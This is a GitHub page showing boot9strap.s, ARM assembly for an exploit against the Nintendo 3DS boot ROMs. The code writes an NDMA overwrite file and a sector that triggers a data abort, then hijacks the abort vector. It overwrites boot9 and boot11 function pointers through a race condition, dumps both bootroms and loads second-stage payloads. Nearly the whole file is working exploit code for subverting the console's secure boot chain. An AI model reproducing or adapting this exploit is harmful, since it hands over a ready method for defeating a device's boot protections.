-
Notifications
You must be signed in to change notification settings - Fork 65
/
boot9strap.s
190 lines (153 loc) · 5.53 KB
/
boot9strap.s
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
.arm.little
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Useful constant addresses.
b9_memcpy equ 0xFFFF03F0
b9_store_addr equ 0x08080000
b11_store_addr equ 0x08090000
b11_axi_addr equ 0x1FFC0000
code_11_load_addr equ 0x1FF80000
arm9mem_dabrt_loc equ 0x08000028
.create "build/code9.bin",0x08000200
.area 0x1F0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Boot9 Data Abort handler: Overwrites two boot9 function pointers, then returns.
dabort_handler:
ldr r3, =0x080003F8 ; r3 = flag_loc
ldr r2, [r3] ; r2 = *(flag_loc)
cmp r2, #0x0 ; did we do this yet?
bne handler_done ; if so, were done here.
str r2, [r3] ; write to "did we do this yet?" flag.
ldr r3, =0xFFF00058 ; dtcm funcptr_1
ldr r2, =b9_hook_1 ; r2 = b9_hook_1
str r2, [r3] ; Overwrite first function pointer
ldr r2, =b9_hook_2 ; r2 = b9_hook_2
str r2, [r3, #0x4] ; Overwrite second function pointer
handler_done:
mov r2, #0x0
mov r3, #0x0
subs pc, lr, #0x4 ; Skip the offending dabrt instruction
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; b9_hook_1: Wait for boot11 to finish a task, then overwrite a function pointer
; it will call just before lockout. Then, setup the MPU, and return.
b9_hook_1:
pwn_b11:
stmfd sp!, {r0-r6, lr}
ldr r0, =0x1FFE802C ; r0 = b11_funcptr_address
ldr r1, =code_11_load_addr ; r1 = our_boot11_hook
str r1, [r0] ; overwrite value
wait_loop: ; This is actually a ToCToU race condition.
ldr r2, [r0] ; Derefence
cmp r2, r1 ; Has stored value changed?
beq wait_loop ; If not, go back.
str r1, [r0] ; Overwrite final funcptr.
; setup_mpu:
setup_mpu:
ldr r0, =0x33333333
mcr p15,0,r0,c5,c0,3
mcr p15,0,r0,c5,c0,2
mov r0, #0x0
ldr r1, =b11_axi_addr
str r0, [r1, #-0x4] ; Ensure that b11 knows when we are ready.
ldmfd sp!, {r0-r6, pc}
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; b9_hook_2: Dump the arm11 bootrom, synchronize with boot11, dump the arm9
; bootrom, and then return to execution.
b9_hook_2:
mov r11, r0
; Dump boot11
ldr r0, =b11_axi_addr
wait_for_b11_exec: ; Wait for boot11 hook to set a flag in axiwram
ldr r1, [r0, #-0x4]
cmp r1, #0x0
beq wait_for_b11_exec
ldr r1, =b11_store_addr ; memcpy the arm11 bootrom into safe arm9mem
mov r2, #0x10000
ldr r3, =b9_memcpy
blx r3
; Let Boot11 know weve copied it.
ldr r0, =b11_axi_addr
mov r1, #0x0
str r1, [r0, #-0x4]
; Dump boot9
ldr r0, =0xFFFF0000
ldr r1, =b9_store_addr
mov r2, #0x10000
ldr r3, =b9_memcpy
blx r3
bx r11 ; Jump to entrypoint
.pool
.endarea
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; dabrt_vector: The data abort vector copied over by our NDMA write.
.org 0x080003F0
.area 0x10
dabrt_vector:
ldr pc, [pc, #-0x4]
.dw dabort_handler
.dw 0 ; has dabort handler run flag
.dw 0
.endarea
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; stage 2: Load stage 2 payload to 0x08000500 (use 0x100 bytes of padding to be safe).
.org 0x08000500
.area 0x10000
.incbin "stage2/arm9/arm9.bin"
.endarea
.align 0x200
.close
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.create "build/code11.bin",code_11_load_addr
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; boot11_hook: This code is called by boot11 just before lockout.
; It copies the bootrom to axi_wram, then syncs with
; boot9 hook.
boot11_hook:
mov r11, r0
ldr r1, =b11_axi_addr
ldr r0, =0x10000
mov r2, #0x0
b11_copy_loop: ; Simple memcpy loop from boot11 to axiwram.
ldr r3, [r0, r2]
str r3, [r1, r2]
add r2, r2, #0x4
cmp r2, r0
blt b11_copy_loop
ldr r1, =b11_axi_addr ; Let boot9 know that we are done.
mov r0, #0x1
str r0, [r1, #-0x4]
wait_for_b9_copy: ; Wait for boot9 to confirm it received our dump.
ldr r0, [r1, #-0x4]
cmp r0, #0x0
bne wait_for_b9_copy
bx r11 ; Jump to entrypoint
.pool
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; arm11 stage 2
.org (code_11_load_addr+0x200)
; this only runs on core0
.area 0x10000
.incbin "stage2/arm11/arm11.bin"
.endarea
.align 0x200
.close
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; NDMA section: This generates the NDMA overwrite file.
.create "build/NDMA.bin",0
.area 0x200
.dw 0x00000000 ; NDMA Global CNT
.dw dabrt_vector ; Source Address
.dw arm9mem_dabrt_loc ; Destination Address
.dw 0x00000000 ; Unused Total Repeat Length
.dw 0x00000002 ; Transfer 2 words
.dw 0x00000000 ; Transfer until completed
.dw 0x00000000 ; Unused Fill Data
.dw 0x90010000 ; Start Immediately/Transfer 2 words at a time/Enable
.endarea
.align 0x200
.close
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Data abort section: This is just a single sector causes boot9 to data abort.
.create "build/dabrt.bin",0
.area 0x200, 0xFF
.endarea
.close